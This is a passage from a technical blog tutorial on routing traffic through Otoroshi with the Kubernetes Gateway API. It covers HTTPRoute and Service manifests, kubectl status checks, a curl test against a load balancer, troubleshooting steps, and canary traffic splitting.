&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ClusterIP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-route&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  parentRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo-otoroshi-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    sectionName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  hostnames&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;&quot;whoami.demo-cke.io&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;matches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;PathPrefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      weight&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;HTTPRoute&lt;/code&gt; is particularly interesting. Let me walk through it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;parentRefs&lt;/code&gt; — this references our &lt;code&gt;demo-otoroshi-gateway&lt;/code&gt; Gateway (note: since the Gateway is in the &lt;code&gt;demo&lt;/code&gt; namespace and the HTTPRoute is also in &lt;code&gt;demo&lt;/code&gt;, no cross-namespace reference grant is needed). &lt;code&gt;sectionName: http&lt;/code&gt; ties this route specifically to the &lt;code&gt;http&lt;/code&gt; listener of that gateway.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hostnames&lt;/code&gt; — this route only applies to requests with the &lt;code&gt;Host: whoami.demo-cke.io&lt;/code&gt; header&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rules&lt;/code&gt; — one rule: match requests where the path starts with &lt;code&gt;/v1&lt;/code&gt;, forward to the &lt;code&gt;whoami&lt;/code&gt; service on port 80&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Apply it:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; manifests/routes.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a moment, check the HTTPRoute status:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; httproute&lt;/span&gt;&lt;span&gt; my-route&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The status should show:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  parents&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;conditions&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;lastTransitionTime&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      message&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Route accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      reason&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      status&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;True&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;lastTransitionTime&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      message&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All references resolved&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      reason&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ResolvedRefs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      status&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;True&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ResolvedRefs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    parentRef&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo-otoroshi-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      sectionName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both &lt;code&gt;Accepted: True&lt;/code&gt; and &lt;code&gt;ResolvedRefs: True&lt;/code&gt; — all the backend references are valid and the route has been accepted by the gateway.&lt;/p&gt;
&lt;h3 id=&quot;step-11-dns-configuration&quot;&gt;Step 11: DNS Configuration&lt;/h3&gt;
&lt;p&gt;We need &lt;code&gt;whoami.demo-cke.io&lt;/code&gt; to resolve to our load balancer’s external IP. In a real setup, you’d add a DNS A record (or a wildcard &lt;code&gt;*.demo-cke.io&lt;/code&gt; record) pointing to that IP.&lt;/p&gt;
&lt;p&gt;Get your load balancer IP:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;                   TYPE&lt;/span&gt;&lt;span&gt;           CLUSTER-IP&lt;/span&gt;&lt;span&gt;      EXTERNAL-IP&lt;/span&gt;&lt;span&gt;        PORT&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;S&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;otoroshi-lb-external&lt;/span&gt;&lt;span&gt;   LoadBalancer&lt;/span&gt;&lt;span&gt;   10.x.x.x&lt;/span&gt;&lt;span&gt;        &amp;#x3C;&lt;/span&gt;&lt;span&gt;LOAD_BALANCER_I&lt;/span&gt;&lt;span&gt;P&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt;  80:...,&lt;/span&gt;&lt;span&gt; 443:...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this demo, rather than setting up actual DNS, we can use &lt;code&gt;curl&lt;/code&gt;’s &lt;code&gt;--resolve&lt;/code&gt; flag to manually map the hostname to the IP — simulating what DNS would do.&lt;/p&gt;
&lt;h3 id=&quot;step-12-the-moment-of-truth&quot;&gt;Step 12: The Moment of Truth&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -v&lt;/span&gt;&lt;span&gt; --resolve&lt;/span&gt;&lt;span&gt; whoami.demo-cke.io:80:&lt;/span&gt;&lt;span&gt;&amp;#x3C;&lt;/span&gt;&lt;span&gt;LOAD_BALANCER_I&lt;/span&gt;&lt;span&gt;P&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt; http://whoami.demo-cke.io/v1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If everything is wired up correctly, you’ll see something like:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;*   Trying &amp;#x3C;LOAD_BALANCER_IP&gt;:80...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;* Connected to whoami.demo-cke.io (&amp;#x3C;LOAD_BALANCER_IP&gt;) port 80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; GET /v1 HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; Host: whoami.demo-cke.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; User-Agent: curl/8.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt; Accept: */*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C; HTTP/1.1 200 OK&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C; Content-Type: text/plain; charset=utf-8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;#x3C;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hostname: whoami-xxxxxxxxx-xxxxx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP: 127.0.0.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP: ::1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP: 10.x.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;RemoteAddr: 10.x.x.x:xxxx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;GET /v1 HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Host: whoami.demo-cke.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;User-Agent: curl/8.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Accept: */*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Forwarded-For: x.x.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Forwarded-Host: whoami.demo-cke.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Forwarded-Proto: http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;X-Real-Ip: x.x.x.x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A clean HTTP 200. Traffic flowed from &lt;code&gt;curl&lt;/code&gt; → Clever Cloud Load Balancer → Otoroshi (routing based on the &lt;code&gt;HTTPRoute&lt;/code&gt; we defined) → the &lt;code&gt;whoami&lt;/code&gt; pod in the &lt;code&gt;demo&lt;/code&gt; namespace.&lt;/p&gt;
&lt;p&gt;Notice the &lt;code&gt;X-Forwarded-For&lt;/code&gt;, &lt;code&gt;X-Forwarded-Host&lt;/code&gt;, and &lt;code&gt;X-Real-Ip&lt;/code&gt; headers that Otoroshi injected. It’s transparent to the backend service but fully managed at the gateway layer.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;troubleshooting-tips&quot;&gt;Troubleshooting Tips&lt;/h2&gt;
&lt;p&gt;If something doesn’t work, here’s my debugging checklist:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check Otoroshi’s logs:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; logs&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; deploy/otoroshi&lt;/span&gt;&lt;span&gt; --tail=200&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look for lines mentioning &lt;code&gt;KubernetesGatewayApiControllerJob&lt;/code&gt;, &lt;code&gt;GatewayClass&lt;/code&gt;, or &lt;code&gt;HTTPRoute&lt;/code&gt;. Any errors in reconciliation will show up here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check resource statuses:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; gatewayclass&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; gateway&lt;/span&gt;&lt;span&gt; demo-otoroshi-gateway&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; httproute&lt;/span&gt;&lt;span&gt; my-route&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;status.conditions&lt;/code&gt; fields tell you exactly what’s wrong. Common issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;GatewayClass: Accepted: False&lt;/code&gt; → &lt;code&gt;controllerName&lt;/code&gt; mismatch&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Gateway Listener: Programmed: False&lt;/code&gt; → The port in the Gateway spec doesn’t match &lt;code&gt;gatewayApiHttpListenerPort&lt;/code&gt; in Otoroshi’s config&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;HTTPRoute: Accepted: False&lt;/code&gt; → &lt;code&gt;parentRef&lt;/code&gt; is wrong or the namespace isn’t allowed by the Gateway’s &lt;code&gt;allowedRoutes&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verify the generated routes in Otoroshi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; http://&lt;/span&gt;&lt;span&gt;&amp;#x3C;&lt;/span&gt;&lt;span&gt;otoroshi-service-i&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt;:8080/api/routes&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  -u&lt;/span&gt;&lt;span&gt; admin-api-apikey-id:admin-api-apikey-secret&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  jq&lt;/span&gt;&lt;span&gt; &apos;.[] | select(.metadata[&quot;otoroshi-provider&quot;] == &quot;kubernetes-gateway-api&quot;) | {id, name}&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the route was generated, it’ll show up here. If the list is empty, the reconciliation hasn’t happened or encountered an error.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check that the backend pod is running:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; pods&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; whoami&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the pod isn’t ready or the service selector doesn’t match the pods, you’ll get 503s.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;going-further-what-else-can-you-do&quot;&gt;Going Further: What Else Can You Do?&lt;/h2&gt;
&lt;p&gt;What I’ve shown here is the basics — routing HTTP traffic from a hostname/path to a backend service. But the Gateway API support in Otoroshi goes quite a bit further.&lt;/p&gt;
&lt;h3 id=&quot;traffic-splitting-for-canary-deployments&quot;&gt;Traffic Splitting for Canary Deployments&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;weight&lt;/code&gt; field in &lt;code&gt;backendRefs&lt;/code&gt; lets you split traffic between multiple versions of a service:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-service-v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    weight&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;90&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-service-v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    weight&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This sends 90% of traffic to v1 and 10% to v2 — a classic canary deployment pattern, all configured declaratively.&lt;/p&gt;
&lt;h3 id=&quot;header-manipulation&quot;&gt;Header Manipulation&lt;/h3&gt;
&lt;p&gt;Built-in filters let you add, modify, or remove request and response headers:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;filters&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;RequestHeaderModifier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    requestHeaderModifier&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      add&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;X-Request-Source&lt;/span&gt;&lt;/span&gt;
